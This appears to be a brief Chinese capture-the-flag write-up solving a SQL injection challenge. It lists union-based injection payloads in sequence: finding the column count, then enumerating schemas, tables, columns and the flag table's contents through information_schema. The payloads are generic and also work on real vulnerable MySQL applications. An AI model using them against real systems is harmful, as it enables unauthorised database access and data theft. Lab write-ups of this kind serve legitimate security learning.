先查order by列查到5的时候发现报错
-1’ union select 1,2,3,4 #确认一共有4列
-1’ union select group_concat(schema_name),2,3,4 from information_schema.schemata#
查库名
Flag大概率在ctf中直接对ctf进行查询
-1’ union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=’ctf’ #
发现flag进行查询
-1’ union select group_concat(column_name),2,3,4 from information_schema.columns where table_name=’flag’ #
得到id和data
-1’ union select group_concat(id,data),2,3,4 from flag#查询id和data得到flag
